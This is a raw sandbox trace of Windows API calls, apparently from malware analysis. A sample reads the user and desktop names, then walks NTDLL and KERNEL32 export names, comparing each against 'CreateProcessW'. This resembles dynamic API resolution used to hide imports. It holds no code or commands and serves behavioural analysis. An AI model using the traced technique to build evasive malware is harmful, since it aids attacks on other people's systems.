[0081.796] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0081.796] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0081.796] GetModuleHandleA (lpModuleName="kernelbase") returned 0x75450000 [0081.796] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x838) returned 0x2748ff8 [0081.796] GetProcAddress (hModule=0x75220000, lpProcName="GetUserNameA") returned 0x7524a4b4 [0081.797] GetUserNameA (in: lpBuffer=0x0, pcbBuffer=0x37fdec | out: lpBuffer=0x0, pcbBuffer=0x37fdec) returned 0 [0081.802] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x12) returned 0x2749838 [0081.802] GetProcAddress (hModule=0x75220000, lpProcName="GetUserNameA") returned 0x7524a4b4 [0081.802] GetUserNameA (in: lpBuffer=0x2749838, pcbBuffer=0x37fdec | out: lpBuffer="aETAdzjz", pcbBuffer=0x37fdec) returned 1 [0081.803] GetCurrentThreadId () returned 0x7d8 [0081.803] GetProcAddress (hModule=0x76c00000, lpProcName="GetThreadDesktop") returned 0x76c16c63 [0081.803] GetThreadDesktop (dwThreadId=0x7d8) returned 0x4c [0081.803] GetProcAddress (hModule=0x76c00000, lpProcName="GetUserObjectInformationA") returned 0x76c3d396 [0081.803] GetUserObjectInformationA (in: hObj=0x4c, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x37fdd0 | out: pvInfo=0x0, lpnLengthNeeded=0x37fdd0) returned 0 [0081.803] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x10) returned 0x27489f8 [0081.803] GetProcAddress (hModule=0x76c00000, lpProcName="GetUserObjectInformationA") returned 0x76c3d396 [0081.803] GetUserObjectInformationA (in: hObj=0x4c, nIndex=2, pvInfo=0x27489f8, nLength=0x10, lpnLengthNeeded=0x37fdd0 | out: pvInfo=0x27489f8, lpnLengthNeeded=0x37fdd0) returned 1 [0081.803] lstrlenA (lpString="Default") returned 7 [0081.803] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0081.803] GetProcAddress (hModule=0x76c00000, lpProcName="CloseDesktop") returned 0x76c200fa [0081.803] CloseDesktop (hDesktop=0x4c) returned 0 [0081.803] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0081.803] lstrlenA (lpString="A_SHAFinal") returned 10 [0081.803] lstrlenA (lpString="A_SHAInit") returned 9 [0081.803] lstrlenA (lpString="A_SHAUpdate") returned 11 [0081.803] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0081.803] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0081.804] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0081.804] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0081.804] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0081.804] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0081.804] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0081.804] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0081.804] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0081.804] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0081.804] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0081.804] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0081.804] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0081.804] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0081.804] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0081.804] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0081.804] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0081.804] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0081.804] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0081.804] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0081.804] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0081.804] lstrlenA (lpString="CsrClientCallServer") returned 19 [0081.804] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0081.804] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0081.804] lstrlenA (lpString="CsrGetProcessId") returned 15 [0081.804] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0081.804] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0081.804] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0081.804] lstrlenA (lpString="DbgBreakPoint") returned 13 [0081.804] lstrlenA (lpString="DbgPrint") returned 8 [0081.804] lstrlenA (lpString="DbgPrintEx") returned 10 [0081.804] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0081.804] lstrlenA (lpString="DbgPrompt") returned 9 [0081.804] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0081.804] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0081.804] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0081.804] lstrlenA (lpString="DbgUiContinue") returned 13 [0081.804] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0081.804] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0081.804] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0081.804] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0081.804] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0081.804] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0081.804] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0081.804] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0081.805] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0081.805] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0081.805] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0081.805] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0081.805] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0081.805] lstrlenA (lpString="EtwEventEnabled") returned 15 [0081.805] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0081.805] lstrlenA (lpString="EtwEventRegister") returned 16 [0081.805] lstrlenA (lpString="EtwEventUnregister") returned 18 [0081.805] lstrlenA (lpString="EtwEventWrite") returned 13 [0081.805] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0081.805] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0081.805] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0081.805] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0081.805] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0081.805] lstrlenA (lpString="EtwEventWriteString") returned 19 [0081.805] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0081.805] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0081.805] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0081.805] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0081.805] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0081.805] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0081.805] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0081.805] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0081.805] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0081.805] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0081.805] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0081.805] lstrlenA (lpString="EtwReplyNotification") returned 20 [0081.805] lstrlenA (lpString="EtwSendNotification") returned 19 [0081.805] lstrlenA (lpString="EtwSetMark") returned 10 [0081.805] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0081.805] lstrlenA (lpString="EtwTraceMessage") returned 15 [0081.805] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0081.805] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0081.805] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0081.805] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0081.805] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0081.805] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0081.805] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0081.805] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0081.805] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0081.805] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0081.806] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0081.806] lstrlenA (lpString="KiFastSystemCall") returned 16 [0081.806] lstrlenA (lpString="KiFastSystemCallRet") returned 19 [0081.806] lstrlenA (lpString="KiIntSystemCall") returned 15 [0081.808] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0081.808] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0081.808] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0081.808] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0081.808] lstrlenA (lpString="LdrAccessResource") returned 17 [0081.808] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0081.808] lstrlenA (lpString="LdrAddRefDll") returned 12 [0081.808] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0081.808] lstrlenA (lpString="LdrEnumResources") returned 16 [0081.808] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0081.808] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0081.808] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0081.808] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0081.808] lstrlenA (lpString="LdrFindResource_U") returned 17 [0081.808] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0081.808] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0081.808] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0081.808] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0081.808] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0081.808] lstrlenA (lpString="LdrGetFailureData") returned 17 [0081.809] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0081.809] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0081.809] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0081.809] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0081.809] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0081.809] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0081.809] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0081.809] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0081.809] lstrlenA (lpString="LdrLoadDll") returned 10 [0081.809] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0081.809] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0081.809] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0081.809] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0081.809] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0081.809] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0081.809] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0081.809] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0081.809] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0081.809] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0081.809] lstrlenA (lpString="LdrResFindResource") returned 18 [0081.809] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0081.809] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0081.809] lstrlenA (lpString="LdrResRelease") returned 13 [0081.809] lstrlenA (lpString="LdrResSearchResource") returned 20 [0081.809] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0081.809] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0081.809] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0081.809] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0081.809] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0081.809] lstrlenA (lpString="LdrShutdownThread") returned 17 [0081.809] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0081.809] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0081.809] lstrlenA (lpString="LdrUnloadDll") returned 12 [0081.809] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0081.809] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0081.809] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0081.809] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0081.809] lstrlenA (lpString="LdrWx86FormatVirtualImage") returned 25 [0081.809] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0081.809] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0081.810] lstrlenA (lpString="MD4Final") returned 8 [0081.810] lstrlenA (lpString="MD4Init") returned 7 [0081.810] lstrlenA (lpString="MD4Update") returned 9 [0081.810] lstrlenA (lpString="MD5Final") returned 8 [0081.810] lstrlenA (lpString="MD5Init") returned 7 [0081.810] lstrlenA (lpString="MD5Update") returned 9 [0081.810] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0081.810] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0081.810] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0081.810] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0081.810] lstrlenA (lpString="NtAccessCheck") returned 13 [0081.810] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0081.810] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0081.810] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0081.810] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0081.810] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0081.810] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0081.810] lstrlenA (lpString="NtAddAtom") returned 9 [0081.810] lstrlenA (lpString="NtAddBootEntry") returned 14 [0081.810] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0081.810] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0081.810] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0081.810] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0081.810] lstrlenA (lpString="NtAlertThread") returned 13 [0081.810] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0081.810] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0081.810] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0081.810] lstrlenA (lpString="NtAllocateUuids") returned 15 [0081.810] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0081.810] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0081.810] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0081.810] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0081.810] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0081.810] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0081.810] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0081.810] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0081.810] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0081.810] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0081.810] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0081.810] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0081.810] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0081.810] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0081.810] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0081.811] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0081.811] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0081.811] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0081.811] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0081.811] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0081.811] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0081.811] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0081.811] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0081.811] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0081.811] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0081.811] lstrlenA (lpString="NtCallbackReturn") returned 16 [0081.811] lstrlenA (lpString="NtCancelIoFile") returned 14 [0081.811] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0081.811] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0081.811] lstrlenA (lpString="NtCancelTimer") returned 13 [0081.811] lstrlenA (lpString="NtClearEvent") returned 12 [0081.811] lstrlenA (lpString="NtClose") returned 7 [0081.811] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0081.811] lstrlenA (lpString="NtCommitComplete") returned 16 [0081.811] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0081.811] lstrlenA (lpString="NtCommitTransaction") returned 19 [0081.811] lstrlenA (lpString="NtCompactKeys") returned 13 [0081.811] lstrlenA (lpString="NtCompareTokens") returned 15 [0081.811] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0081.811] lstrlenA (lpString="NtCompressKey") returned 13 [0081.811] lstrlenA (lpString="NtConnectPort") returned 13 [0081.811] lstrlenA (lpString="NtContinue") returned 10 [0081.811] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0081.811] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0081.811] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0081.811] lstrlenA (lpString="NtCreateEvent") returned 13 [0081.811] lstrlenA (lpString="NtCreateEventPair") returned 17 [0081.811] lstrlenA (lpString="NtCreateFile") returned 12 [0081.811] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0081.811] lstrlenA (lpString="NtCreateJobObject") returned 17 [0081.811] lstrlenA (lpString="NtCreateJobSet") returned 14 [0081.811] lstrlenA (lpString="NtCreateKey") returned 11 [0081.811] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0081.811] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0081.811] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0081.811] lstrlenA (lpString="NtCreateMutant") returned 14 [0081.811] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0081.811] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0081.812] lstrlenA (lpString="NtCreatePort") returned 12 [0081.812] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0081.812] lstrlenA (lpString="NtCreateProcess") returned 15 [0081.812] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0081.812] lstrlenA (lpString="NtCreateProfile") returned 15 [0081.812] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0081.812] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0081.812] lstrlenA (lpString="NtCreateSection") returned 15 [0081.812] lstrlenA (lpString="NtCreateSemaphore") returned 17 [0081.816] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x75220000 [0081.816] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0081.816] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x2749858 [0081.816] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessW") returned -1 [0081.818] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="Beep", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessW") returned -1 [0081.819] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessW") returned -1 [0081.820] lstrcmpA (lpString1="CompareStringEx", 